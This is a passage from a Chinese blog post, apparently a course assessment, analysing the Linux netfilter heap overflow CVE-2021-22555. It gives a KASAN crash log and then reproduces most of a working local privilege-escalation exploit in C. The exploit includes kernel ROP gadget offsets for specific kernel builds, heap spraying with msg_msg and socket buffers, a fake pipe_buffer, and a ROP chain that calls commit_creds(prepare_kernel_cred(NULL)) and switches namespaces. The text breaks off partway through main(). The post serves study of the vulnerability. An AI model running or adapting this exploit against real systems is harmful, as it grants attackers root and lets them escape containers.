一
前言
看雪的二进制课程已经学习结束了,此篇是考核内容,顺便检测一下我对课程内容的理解程度。
https://www.anquanke.com/post/id/254027
https://arttnba3.cn/2022/04/01/CVE-0X07-CVE-2021-22555/
https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
以及看雪的二进制课程。
二
漏洞分析
先看一下kasan给出的信息。
\[ 1185.205439\] ==================================================================
\[ 1185.205993\] BUG: KASAN: slab-out-of-bounds in xt\_compat\_target\_from\_user+0x20a/0x4c0 \[x\_tables\]
\[ 1185.206102\] Write of size 4 at addr ffff8881e4c97600 by task poc/2059
\[ 1185.206255\] CPU: 1 PID: 2059 Comm: poc Not tainted 5.8.1 #1
\[ 1185.206257\] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020
\[ 1185.206259\] Call Trace:
\[ 1185.206326\] dump\_stack+0x9d/0xda
\[ 1185.206346\] print\_address\_description.constprop.0+0x1f/0x210
\[ 1185.206353\] ? \_raw\_spin\_lock\_irqsave+0x8e/0xf0
\[ 1185.206355\] ? \_raw\_spin\_trylock\_bh+0x130/0x130
\[ 1185.206371\] ? xt\_compat\_target\_from\_user+0x20a/0x4c0 \[x\_tables\]
\[ 1185.206373\] kasan\_report.cold+0x37/0x7c
\[ 1185.206377\] ? xt\_compat\_target\_from\_user+0x20a/0x4c0 \[x\_tables\]
\[ 1185.206390\] check\_memory\_region+0x15b/0x1e0
\[ 1185.206393\] memset+0x24/0x50
\[ 1185.206399\] xt\_compat\_target\_from\_user+0x20a/0x4c0 \[x\_tables\]
\[ 1185.206406\] ? xt\_compat\_match\_from\_user+0x4c0/0x4c0 \[x\_tables\]
\[ 1185.206410\] ? \_\_kmalloc\_node+0x127/0x380
\[ 1185.206416\] translate\_compat\_table+0xf00/0x16d0 \[ip6\_tables\]
\[ 1185.206420\] ? ip6t\_register\_table+0x2d0/0x2d0 \[ip6\_tables\]
\[ 1185.206423\] ? kasan\_unpoison\_shadow+0x38/0x50
\[ 1185.206425\] ? \_\_kasan\_kmalloc.constprop.0+0xcf/0xe0
\[ 1185.206427\] ? kasan\_kmalloc+0x9/0x10
\[ 1185.206428\] ? \_\_kmalloc\_node+0x127/0x380
\[ 1185.206431\] ? \_\_kasan\_check\_write+0x14/0x20
\[ 1185.206433\] compat\_do\_replace.isra.0+0x160/0x380 \[ip6\_tables\]
\[ 1185.206435\] ? \_\_kasan\_check\_write+0x14/0x20
\[ 1185.206438\] ? translate\_compat\_table+0x16d0/0x16d0 \[ip6\_tables\]
\[ 1185.206453\] ? apparmor\_task\_alloc+0x2f0/0x2f0
\[ 1185.206465\] ? is\_bpf\_text\_address+0xe/0x20
\[ 1185.206478\] ? ns\_capable\_common+0x5c/0xe0
\[ 1185.206481\] compat\_do\_ip6t\_set\_ctl+0xe4/0x130 \[ip6\_tables\]
\[ 1185.206496\] compat\_nf\_setsockopt+0x74/0x100
\[ 1185.206503\] compat\_ipv6\_setsockopt.part.0+0x582/0x780
\[ 1185.206505\] ? ipv6\_setsockopt+0x110/0x110
\[ 1185.206507\] ? save\_stack+0x42/0x50
\[ 1185.206509\] ? save\_stack+0x23/0x50
\[ 1185.206511\] ? \_\_kasan\_kmalloc.constprop.0+0xcf/0xe0
\[ 1185.206513\] ? kasan\_slab\_alloc+0xe/0x10
\[ 1185.206514\] ? kmem\_cache\_alloc+0xd7/0x250
\[ 1185.206521\] ? security\_file\_alloc+0x2f/0x130
\[ 1185.206525\] ? \_\_alloc\_file+0xb1/0x370
\[ 1185.206526\] ? alloc\_empty\_file+0x46/0xf0
\[ 1185.206529\] ? alloc\_file+0x59/0x500
\[ 1185.206530\] ? alloc\_file\_pseudo+0x17e/0x270
\[ 1185.206535\] ? sock\_alloc\_file+0x47/0x170
\[ 1185.206537\] ? \_\_sys\_socket+0x108/0x1d0
\[ 1185.206541\] ? \_\_do\_compat\_sys\_socketcall+0x51c/0x5e0
\[ 1185.206543\] ? \_\_ia32\_compat\_sys\_socketcall+0x53/0x70
\[ 1185.206549\] ? do\_syscall\_32\_irqs\_on+0x4a/0x70
\[ 1185.206552\] ? do\_fast\_syscall\_32+0x5f/0xd0
\[ 1185.206554\] ? do\_SYSENTER\_32+0x1f/0x30
\[ 1185.206558\] ? entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f
\[ 1185.206560\] ? \_\_ia32\_compat\_sys\_socketcall+0x53/0x70
\[ 1185.206561\] ? do\_syscall\_32\_irqs\_on+0x4a/0x70
\[ 1185.206563\] ? do\_fast\_syscall\_32+0x5f/0xd0
\[ 1185.206565\] ? do\_SYSENTER\_32+0x1f/0x30
\[ 1185.206567\] ? entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f
\[ 1185.206569\] ? \_\_ia32\_compat\_sys\_socketcall+0x53/0x70
\[ 1185.206571\] ? do\_syscall\_32\_irqs\_on+0x4a/0x70
\[ 1185.206573\] ? do\_fast\_syscall\_32+0x5f/0xd0
\[ 1185.206575\] ? do\_SYSENTER\_32+0x1f/0x30
\[ 1185.206577\] ? entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f
\[ 1185.206579\] ? \_\_sys\_socket+0xdd/0x1d0
\[ 1185.206581\] ? \_\_do\_compat\_sys\_socketcall+0x51c/0x5e0
\[ 1185.206583\] ? \_\_ia32\_compat\_sys\_socketcall+0x53/0x70
\[ 1185.206585\] ? do\_syscall\_32\_irqs\_on+0x4a/0x70
\[ 1185.206587\] ? do\_fast\_syscall\_32+0x5f/0xd0
\[ 1185.206588\] ? do\_SYSENTER\_32+0x1f/0x30
\[ 1185.206590\] ? entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f
\[ 1185.206595\] ? \_\_mod\_lruvec\_state+0x8c/0x320
\[ 1185.206598\] ? alloc\_pages\_current+0xdc/0x1c0
\[ 1185.206600\] ? kasan\_init\_slab\_obj+0x25/0x30
\[ 1185.206603\] ? setup\_object.isra.0+0x2b/0xa0
\[ 1185.206605\] ? \_\_kasan\_check\_write+0x14/0x20
\[ 1185.206607\] ? apparmor\_file\_alloc\_security+0x178/0x5c0
\[ 1185.206609\] ? kasan\_unpoison\_shadow+0x38/0x50
\[ 1185.206611\] ? apparmor\_ptrace\_access\_check+0x460/0x460
\[ 1185.206613\] ? security\_file\_alloc+0x2f/0x130
\[ 1185.206614\] ? kmem\_cache\_alloc+0x180/0x250
\[ 1185.206617\] ? \_\_kasan\_check\_write+0x14/0x20
\[ 1185.206619\] ? \_\_mutex\_init+0xba/0x130
\[ 1185.206621\] ? \_\_alloc\_file+0x1a5/0x370
\[ 1185.206623\] ? alloc\_empty\_file+0x92/0xf0
\[ 1185.206625\] ? alloc\_file+0x228/0x500
\[ 1185.206629\] ? \_cond\_resched+0x19/0x30
\[ 1185.206632\] ? aa\_sk\_perm+0x12a/0x610
\[ 1185.206634\] compat\_ipv6\_setsockopt+0xb4/0x160
\[ 1185.206640\] ? \_\_fget\_files+0x12b/0x250
\[ 1185.206647\] inet\_csk\_compat\_setsockopt+0x6b/0x120
\[ 1185.206650\] compat\_tcp\_setsockopt+0x1c/0x30
\[ 1185.206653\] compat\_sock\_common\_setsockopt+0x8a/0x160
\[ 1185.206655\] \_\_compat\_sys\_setsockopt+0x139/0x330
\[ 1185.206658\] ? \_\_sys\_socket+0x11b/0x1d0
\[ 1185.206660\] ? \_\_x32\_compat\_sys\_recvmmsg\_time32+0x150/0x150
\[ 1185.206662\] ? \_\_kasan\_check\_write+0x14/0x20
\[ 1185.206664\] \_\_do\_compat\_sys\_socketcall+0x48c/0x5e0
\[ 1185.206667\] ? \_\_x32\_compat\_sys\_setsockopt+0x150/0x150
\[ 1185.206673\] ? perf\_event\_namespaces+0x1a/0x30
\[ 1185.206677\] ? walk\_process\_tree+0x330/0x330
\[ 1185.206679\] ? \_\_kasan\_check\_read+0x11/0x20
\[ 1185.206684\] ? fpregs\_assert\_state\_consistent+0x22/0xa0
\[ 1185.206686\] ? \_\_prepare\_exit\_to\_usermode+0x76/0x210
\[ 1185.206688\] ? fpregs\_assert\_state\_consistent+0x22/0xa0
\[ 1185.206690\] \_\_ia32\_compat\_sys\_socketcall+0x53/0x70
\[ 1185.206693\] do\_syscall\_32\_irqs\_on+0x4a/0x70
\[ 1185.206696\] do\_fast\_syscall\_32+0x5f/0xd0
\[ 1185.206698\] do\_SYSENTER\_32+0x1f/0x30
\[ 1185.206700\] entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f
\[ 1185.206705\] RIP: 0023:0xf7f08569
\[ 1185.206711\] Code: c4 01 10 03 03 74 c0 01 10 05 03 74 b8 01 10 06 03 74 b4 01 10 07 03 74 b0 01 10 08 03 74 d8 01 00 51 52 55 89 e5 0f 34 cd 80 <5d> 5a 59 c3 90 90 90 90 8d b4 26 00 00 00 00 8d b4 26 00 00 00 00
\[ 1185.206712\] RSP: 002b:00000000ffed1440 EFLAGS: 00000246 ORIG\_RAX: 0000000000000066
\[ 1185.206715\] RAX: ffffffffffffffda RBX: 000000000000000e RCX: 00000000ffed1458
\[ 1185.206716\] RDX: 00000000ffed14bc RSI: 00000000f7ef5000 RDI: 00000000ffed16cc
\[ 1185.206717\] RBP: 00000000ffed16e8 R08: 0000000000000000 R09: 0000000000000000
\[ 1185.206718\] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
\[ 1185.206719\] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
\[ 1185.206746\] Allocated by task 2059:
\[ 1185.206836\] save\_stack+0x23/0x50
\[ 1185.206838\] \_\_kasan\_kmalloc.constprop.0+0xcf/0xe0
\[ 1185.206840\] kasan\_kmalloc+0x9/0x10
\[ 1185.206842\] \_\_kmalloc\_node+0x127/0x380
\[ 1185.206845\] kvmalloc\_node+0x7b/0x90
\[ 1185.206855\] xt\_alloc\_table\_info+0x2f/0x80 \[x\_tables\]
\[ 1185.206860\] translate\_compat\_table+0xb38/0x16d0 \[ip6\_tables\]
\[ 1185.206862\] compat\_do\_replace.isra.0+0x160/0x380 \[ip6\_tables\]
\[ 1185.206865\] compat\_do\_ip6t\_set\_ctl+0xe4/0x130 \[ip6\_tables\]
\[ 1185.206868\] compat\_nf\_setsockopt+0x74/0x100
\[ 1185.206871\] compat\_ipv6\_setsockopt.part.0+0x582/0x780
\[ 1185.206873\] compat\_ipv6\_setsockopt+0xb4/0x160
\[ 1185.206875\] inet\_csk\_compat\_setsockopt+0x6b/0x120
\[ 1185.206877\] compat\_tcp\_setsockopt+0x1c/0x30
\[ 1185.206879\] compat\_sock\_common\_setsockopt+0x8a/0x160
\[ 1185.206882\] \_\_compat\_sys\_setsockopt+0x139/0x330
\[ 1185.206884\] \_\_do\_compat\_sys\_socketcall+0x48c/0x5e0
\[ 1185.206886\] \_\_ia32\_compat\_sys\_socketcall+0x53/0x70
\[ 1185.206889\] do\_syscall\_32\_irqs\_on+0x4a/0x70
\[ 1185.206892\] do\_fast\_syscall\_32+0x5f/0xd0
\[ 1185.206894\] do\_SYSENTER\_32+0x1f/0x30
\[ 1185.206896\] entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f
\[ 1185.206976\] Freed by task 0:
\[ 1185.206998\] (stack is not available)
\[ 1185.207036\] The buggy address belongs to the object at ffff8881e4c97400
which belongs to the cache kmalloc-512(1052:session-1.scope) of size 512
\[ 1185.207140\] The buggy address is located 0 bytes to the right of
512-byte region \[ffff8881e4c97400, ffff8881e4c97600)
\[ 1185.207317\] The buggy address belongs to the page:
\[ 1185.207382\] page:ffffea0007932400 refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff8881e4c96400 head:ffffea0007932400 order:3 compound\_mapcount:0 compound\_pincount:0
\[ 1185.207384\] flags: 0x17ffffc0010200(slab|head)
\[ 1185.207387\] raw: 0017ffffc0010200 dead000000000100 dead000000000122 ffff8881cab0b400
\[ 1185.207389\] raw: ffff8881e4c96400 0000000080200016 00000001ffffffff 0000000000000000
\[ 1185.207390\] page dumped because: kasan: bad access detected
\[ 1185.207402\] Memory state around the buggy address:
\[ 1185.207459\] ffff8881e4c97500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
\[ 1185.207507\] ffff8881e4c97580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
\[ 1185.207549\] >ffff8881e4c97600: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
\[ 1185.207605\] ^
\[ 1185.207628\] ffff8881e4c97680: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
\[ 1185.207732\] ffff8881e4c97700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
\[ 1185.207780\] ==================================================================
\[ 1185.207882\] Disabling lock debugging due to kernel taint
\[ 1185.209449\] x\_tables: ip6\_tables: icmp6.0 match: invalid size 8 (kernel) != (user) 212
看样子是xt_compat_target_from_user函数出现了两字节写的堆溢出。
由于本人对Linux内核不太熟悉,所以只能从exp入手来分析漏洞成因,以及漏洞所在的模块的大致作用。
poc如下:
// exp.c
#define \_GNU\_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter\_ipv4/ip\_tables.h>
// clang-format on
#define PAGE\_SIZE 0x1000
#define PRIMARY\_SIZE 0x1000
#define SECONDARY\_SIZE 0x400
#define NUM\_SOCKETS 4
#define NUM\_SKBUFFS 128
#define NUM\_PIPEFDS 256
#define NUM\_MSQIDS 4096
#define HOLE\_STEP 1024
#define MTYPE\_PRIMARY 0x41
#define MTYPE\_SECONDARY 0x42
#define MTYPE\_FAKE 0x1337
#define MSG\_TAG 0xAAAAAAAA
// #define KERNEL\_COS\_5\_4\_89 1
#define KERNEL\_UBUNTU\_5\_8\_0\_48 1
// clang-format off
#ifdef KERNEL\_COS\_5\_4\_89
// 0xffffffff810360f8 : push rax ; jmp qword ptr \[rcx\]
#define PUSH\_RAX\_JMP\_QWORD\_PTR\_RCX 0x360F8
// 0xffffffff815401df : pop rsp ; pop rbx ; ret
#define POP\_RSP\_POP\_RBX\_RET 0x5401DF
// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret
#define ENTER\_0\_0\_POP\_RBX\_POP\_R14\_POP\_RBP\_RET 0x6D3A65
// 0xffffffff814ddfa8 : mov qword ptr \[r14\], rbx ; pop rbx ; pop r14 ; pop rbp ; ret
#define MOV\_QWORD\_PTR\_R14\_RBX\_POP\_RBX\_POP\_R14\_POP\_RBP\_RET 0x4DDFA8
// 0xffffffff81073972 : push qword ptr \[rbp + 0x25\] ; pop rbp ; ret
#define PUSH\_QWORD\_PTR\_RBP\_25\_POP\_RBP\_RET 0x73972
// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret
#define MOV\_RSP\_RBP\_POP\_RBP\_RET 0x6748C
// 0xffffffff810c7c80 : pop rdx ; ret
#define POP\_RDX\_RET 0xC7C80
// 0xffffffff8143a2b4 : pop rsi ; ret
#define POP\_RSI\_RET 0x43A2B4
// 0xffffffff81067520 : pop rdi ; ret
#define POP\_RDI\_RET 0x67520
// 0xffffffff8100054b : pop rbp ; ret
#define POP\_RBP\_RET 0x54B
// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret
#define MOV\_RDI\_RAX\_JNE\_POP\_RBP\_RET 0x2383A6
// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret
#define CMP\_RDX\_1\_JNE\_POP\_RBP\_RET 0x5282E1
#define FIND\_TASK\_BY\_VPID 0x963C0
#define SWITCH\_TASK\_NAMESPACES 0x9D080
#define COMMIT\_CREDS 0x9EC10
#define PREPARE\_KERNEL\_CRED 0x9F1F0
#define ANON\_PIPE\_BUF\_OPS 0xE51600
#define INIT\_NSPROXY 0x1250590
#elif KERNEL\_UBUNTU\_5\_8\_0\_48
// 0xffffffff816e9783 : push rsi ; jmp qword ptr \[rsi + 0x39\]
#define PUSH\_RSI\_JMP\_QWORD\_PTR\_RSI\_39 0x6E9783
// 0xffffffff8109b6c0 : pop rsp ; ret
#define POP\_RSP\_RET 0x9B6C0
// 0xffffffff8106db59 : add rsp, 0xd0 ; ret
#define ADD\_RSP\_D0\_RET 0x6DB59
// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
#define ENTER\_0\_0\_POP\_RBX\_POP\_R12\_POP\_RBP\_RET 0x1A21C3
// 0xffffffff81084de3 : mov qword ptr \[r12\], rbx ; pop rbx ; pop r12 ; pop rbp ; ret
#define MOV\_QWORD\_PTR\_R12\_RBX\_POP\_RBX\_POP\_R12\_POP\_RBP\_RET 0x84DE3
// 0xffffffff816a98ff : push qword ptr \[rbp + 0xa\] ; pop rbp ; ret
#define PUSH\_QWORD\_PTR\_RBP\_A\_POP\_RBP\_RET 0x6A98FF
// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret
#define MOV\_RSP\_RBP\_POP\_RBP\_RET 0x891BC
// 0xffffffff810f5633 : pop rcx ; ret
#define POP\_RCX\_RET 0xF5633
// 0xffffffff811abaae : pop rsi ; ret
#define POP\_RSI\_RET 0x1ABAAE
// 0xffffffff81089250 : pop rdi ; ret
#define POP\_RDI\_RET 0x89250
// 0xffffffff810005ae : pop rbp ; ret
#define POP\_RBP\_RET 0x5AE
// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret
#define MOV\_RDI\_RAX\_JNE\_XOR\_EAX\_EAX\_RET 0x557894
// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret
#define CMP\_RCX\_4\_JNE\_POP\_RBP\_RET 0x724DB
#define FIND\_TASK\_BY\_VPID 0xBFBC0
#define SWITCH\_TASK\_NAMESPACES 0xC7A50
#define COMMIT\_CREDS 0xC8C80
#define PREPARE\_KERNEL\_CRED 0xC9110
#define ANON\_PIPE\_BUF\_OPS 0x1078380
#define INIT\_NSPROXY 0x1663080
#else
#error "No kernel version defined"
#endif
// clang-format on
#define SKB\_SHARED\_INFO\_SIZE 0x140
#define MSG\_MSG\_SIZE (sizeof(struct msg\_msg))
#define MSG\_MSGSEG\_SIZE (sizeof(struct msg\_msgseg))
struct msg\_msg {
uint64\_t m\_list\_next;
uint64\_t m\_list\_prev;
uint64\_t m\_type;
uint64\_t m\_ts;
uint64\_t next;
uint64\_t security;
};
struct msg\_msgseg {
uint64\_t next;
};
struct pipe\_buffer {
uint64\_t page;
uint32\_t offset;
uint32\_t len;
uint64\_t ops;
uint32\_t flags;
uint32\_t pad;
uint64\_t private;
};
struct pipe\_buf\_operations {
uint64\_t confirm;
uint64\_t release;
uint64\_t steal;
uint64\_t get;
};
struct {
long mtype;
char mtext\[PRIMARY\_SIZE - MSG\_MSG\_SIZE\];
} msg\_primary;
struct {
long mtype;
char mtext\[SECONDARY\_SIZE - MSG\_MSG\_SIZE\];
} msg\_secondary;
struct {
long mtype;
char mtext\[PAGE\_SIZE - MSG\_MSG\_SIZE + PAGE\_SIZE - MSG\_MSGSEG\_SIZE\];
} msg\_fake;
void build\_msg\_msg(struct msg\_msg \*msg, uint64\_t m\_list\_next,
uint64\_t m\_list\_prev, uint64\_t m\_ts, uint64\_t next) {
msg->m\_list\_next = m\_list\_next;
msg->m\_list\_prev = m\_list\_prev;
msg->m\_type = MTYPE\_FAKE;
msg->m\_ts = m\_ts;
msg->next = next;
msg->security = 0;
}
int write\_msg(int msqid, const void \*msgp, size\_t msgsz, long msgtyp) {
\*(long \*)msgp = msgtyp;
if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
perror("\[-\] msgsnd");
return -1;
}
return 0;
}
int peek\_msg(int msqid, void \*msgp, size\_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG\_COPY | IPC\_NOWAIT) <
0) {
perror("\[-\] msgrcv");
return -1;
}
return 0;
}
int read\_msg(int msqid, void \*msgp, size\_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
perror("\[-\] msgrcv");
return -1;
}
return 0;
}
int spray\_skbuff(int ss\[NUM\_SOCKETS\]\[2\], const void \*buf, size\_t size) {
for (int i = 0; i < NUM\_SOCKETS; i++) {
for (int j = 0; j < NUM\_SKBUFFS; j++) {
if (write(ss\[i\]\[0\], buf, size) < 0) {
perror("\[-\] write");
return -1;
}
}
}
return 0;
}
int free\_skbuff(int ss\[NUM\_SOCKETS\]\[2\], void \*buf, size\_t size) {
for (int i = 0; i < NUM\_SOCKETS; i++) {
for (int j = 0; j < NUM\_SKBUFFS; j++) {
if (read(ss\[i\]\[1\], buf, size) < 0) {
perror("\[-\] read");
return -1;
}
}
}
return 0;
}
int trigger\_oob\_write(int s) {
struct \_\_attribute\_\_((\_\_packed\_\_)) {
struct ipt\_replace replace;
struct ipt\_entry entry;
struct xt\_entry\_match match;
char pad\[0x108 + PRIMARY\_SIZE - 0x200 - 0x2\];
struct xt\_entry\_target target;
} data = {0};
data.replace.num\_counters = 1;
data.replace.num\_entries = 1;
data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));
data.entry.next\_offset = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));
data.entry.target\_offset =
(sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));
data.match.u.user.match\_size = (sizeof(data.match) + sizeof(data.pad));
strcpy(data.match.u.user.name, "icmp");
data.match.u.user.revision = 0;
data.target.u.user.target\_size = sizeof(data.target);
strcpy(data.target.u.user.name, "NFQUEUE");
data.target.u.user.revision = 1;
// Partially overwrite the adjacent buffer with 2 bytes of zero.
if (setsockopt(s, SOL\_IP, IPT\_SO\_SET\_REPLACE, &data, sizeof(data)) != 0) {
if (errno == ENOPROTOOPT) {
printf("\[-\] Error ip\_tables module is not loaded.\\n");
return -1;
}
}
return 0;
}
// Note: Must not touch offset 0x10-0x18.
void build\_krop(char \*buf, uint64\_t kbase\_addr, uint64\_t scratchpad\_addr) {
uint64\_t \*rop;
#ifdef KERNEL\_COS\_5\_4\_89
\*(uint64\_t \*)&buf\[0x00\] = kbase\_addr + POP\_RSP\_POP\_RBX\_RET;
rop = (uint64\_t \*)&buf\[0x18\];
// Save RBP at scratchpad\_addr.
\*rop++ = kbase\_addr + ENTER\_0\_0\_POP\_RBX\_POP\_R14\_POP\_RBP\_RET;
\*rop++ = scratchpad\_addr; // R14
\*rop++ = 0xDEADBEEF; // RBP
\*rop++ = kbase\_addr + MOV\_QWORD\_PTR\_R14\_RBX\_POP\_RBX\_POP\_R14\_POP\_RBP\_RET;
\*rop++ = 0xDEADBEEF; // RBX
\*rop++ = 0xDEADBEEF; // R14
\*rop++ = 0xDEADBEEF; // RBP
// commit\_creds(prepare\_kernel\_cred(NULL))
\*rop++ = kbase\_addr + POP\_RDI\_RET;
\*rop++ = 0; // RDI
\*rop++ = kbase\_addr + PREPARE\_KERNEL\_CRED;
\*rop++ = kbase\_addr + POP\_RDX\_RET;
\*rop++ = 1; // RDX
\*rop++ = kbase\_addr + CMP\_RDX\_1\_JNE\_POP\_RBP\_RET;
\*rop++ = 0xDEADBEEF; // RBP
\*rop++ = kbase\_addr + MOV\_RDI\_RAX\_JNE\_POP\_RBP\_RET;
\*rop++ = 0xDEADBEEF; // RBP
\*rop++ = kbase\_addr + COMMIT\_CREDS;
// switch\_task\_namespaces(find\_task\_by\_vpid(1), init\_nsproxy)
\*rop++ = kbase\_addr + POP\_RDI\_RET;
\*rop++ = 1; // RDI
\*rop++ = kbase\_addr + FIND\_TASK\_BY\_VPID;
\*rop++ = kbase\_addr + POP\_RDX\_RET;
\*rop++ = 1; // RDX
\*rop++ = kbase\_addr + CMP\_RDX\_1\_JNE\_POP\_RBP\_RET;
\*rop++ = 0xDEADBEEF; // RBP
\*rop++ = kbase\_addr + MOV\_RDI\_RAX\_JNE\_POP\_RBP\_RET;
\*rop++ = 0xDEADBEEF; // RBP
\*rop++ = kbase\_addr + POP\_RSI\_RET;
\*rop++ = kbase\_addr + INIT\_NSPROXY; // RSI
\*rop++ = kbase\_addr + SWITCH\_TASK\_NAMESPACES;
// Load RBP from scratchpad\_addr and resume execution.
\*rop++ = kbase\_addr + POP\_RBP\_RET;
\*rop++ = scratchpad\_addr - 0x25; // RBP
\*rop++ = kbase\_addr + PUSH\_QWORD\_PTR\_RBP\_25\_POP\_RBP\_RET;
\*rop++ = kbase\_addr + MOV\_RSP\_RBP\_POP\_RBP\_RET;
#elif KERNEL\_UBUNTU\_5\_8\_0\_48
\*(uint64\_t \*)&buf\[0x39\] = kbase\_addr + POP\_RSP\_RET;
\*(uint64\_t \*)&buf\[0x00\] = kbase\_addr + ADD\_RSP\_D0\_RET;
rop = (uint64\_t \*)&buf\[0xD8\];
// Save RBP at scratchpad\_addr.
\*rop++ = kbase\_addr + ENTER\_0\_0\_POP\_RBX\_POP\_R12\_POP\_RBP\_RET;
\*rop++ = scratchpad\_addr; // R12
\*rop++ = 0xDEADBEEF; // RBP
\*rop++ = kbase\_addr + MOV\_QWORD\_PTR\_R12\_RBX\_POP\_RBX\_POP\_R12\_POP\_RBP\_RET;
\*rop++ = 0xDEADBEEF; // RBX
\*rop++ = 0xDEADBEEF; // R12
\*rop++ = 0xDEADBEEF; // RBP
// commit\_creds(prepare\_kernel\_cred(NULL))
\*rop++ = kbase\_addr + POP\_RDI\_RET;
\*rop++ = 0; // RDI
\*rop++ = kbase\_addr + PREPARE\_KERNEL\_CRED;
\*rop++ = kbase\_addr + POP\_RCX\_RET;
\*rop++ = 4; // RCX
\*rop++ = kbase\_addr + CMP\_RCX\_4\_JNE\_POP\_RBP\_RET;
\*rop++ = 0xDEADBEEF; // RBP
\*rop++ = kbase\_addr + MOV\_RDI\_RAX\_JNE\_XOR\_EAX\_EAX\_RET;
\*rop++ = kbase\_addr + COMMIT\_CREDS;
// switch\_task\_namespaces(find\_task\_by\_vpid(1), init\_nsproxy)
\*rop++ = kbase\_addr + POP\_RDI\_RET;
\*rop++ = 1; // RDI
\*rop++ = kbase\_addr + FIND\_TASK\_BY\_VPID;
\*rop++ = kbase\_addr + POP\_RCX\_RET;
\*rop++ = 4; // RCX
\*rop++ = kbase\_addr + CMP\_RCX\_4\_JNE\_POP\_RBP\_RET;
\*rop++ = 0xDEADBEEF; // RBP
\*rop++ = kbase\_addr + MOV\_RDI\_RAX\_JNE\_XOR\_EAX\_EAX\_RET;
\*rop++ = kbase\_addr + POP\_RSI\_RET;
\*rop++ = kbase\_addr + INIT\_NSPROXY; // RSI
\*rop++ = kbase\_addr + SWITCH\_TASK\_NAMESPACES;
// Load RBP from scratchpad\_addr and resume execution.
\*rop++ = kbase\_addr + POP\_RBP\_RET;
\*rop++ = scratchpad\_addr - 0xA; // RBP
\*rop++ = kbase\_addr + PUSH\_QWORD\_PTR\_RBP\_A\_POP\_RBP\_RET;
\*rop++ = kbase\_addr + MOV\_RSP\_RBP\_POP\_RBP\_RET;
#endif
}
int setup\_sandbox(void) {
if (unshare(CLONE\_NEWUSER) < 0) {
perror("\[-\] unshare(CLONE\_NEWUSER)");
return -1;
}
if (unshare(CLONE\_NEWNET) < 0) {
perror("\[-\] unshare(CLONE\_NEWNET)");
return -1;
}
cpu\_set\_t set;
CPU\_ZERO(&set);
CPU\_SET(0, &set);
if (sched\_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("\[-\] sched\_setaffinity");
return -1;
}
return 0;
}
int main(int argc, char \*argv\[\]) {
int s;
int fd;
int ss\[NUM\_SOCKETS\]\[2\];
int pipefd\[NUM\_PIPEFDS\]\[2\];
int msqid\[NUM\_MSQIDS\];
char primary\_buf\[PRIMARY\_SIZE - SKB\_SHARED\_INFO\_SIZE\];
char secondary\_buf\[SECONDARY\_SIZE - SKB\_SHARED\_INFO\_SIZE\];
struct msg\_msg \*msg;
struct pipe\_buf\_operations \*ops;
struct pipe\_buffer \*buf;
uint64\_t pipe\_buffer\_ops = 0;
uint64\_t kheap\_addr = 0, kbase\_addr = 0;
int fake\_idx = -1, real\_idx = -1;
printf("\[+\] Linux Privilege Escalation by theflow@ - 2021\\n");
printf("\\n");
printf("\[+\] STAGE 0: Initialization\\n");
printf("\[\*\] Setting up namespace sandbox...\\n");
if (setup\_sandbox() < 0)
goto err\_no\_rmid;
printf("\[\*\] Initializing sockets and message queues...\\n");
if ((s = socket(AF\_INET, SOCK\_STREAM, 0)) < 0) {
perror("\[-\] socket");
goto err\_no\_rmid;
}
for (int i = 0; i < NUM\_SOCKETS; i++) {
if (socketpair(AF\_UNIX, SOCK\_STREAM, 0, ss\[i\]) < 0) {
perror("\[-\] socketpair");
goto err\_no\_rmid;
}
}
for (int i = 0; i < NUM\_MSQIDS; i++) {
if ((msqid\[i\] = msgget(IPC\_PRIVATE, IPC\_CREAT | 0666)) < 0) {
perror("\[-\] msgget");
goto err\_no\_rmid;
}
}
printf("\\n");
printf("\[+\] STAGE 1: Memory corruption\\n");
printf("\[\*\] Spraying primary messages...\\n");
for (int i = 0; i < NUM\_MSQIDS; i++) {
memset(&msg\_primary, 0, sizeof(msg\_primary));
\*(int \*)&msg\_primary.mtext\[0\] = MSG\_TAG;
\*(int \*)&msg\_primary.mtext\[4\] = i;
if (write\_msg(msqid\[i\], &msg\_primary, sizeof(msg\_primary), MTYPE\_PRIMARY) <
0)
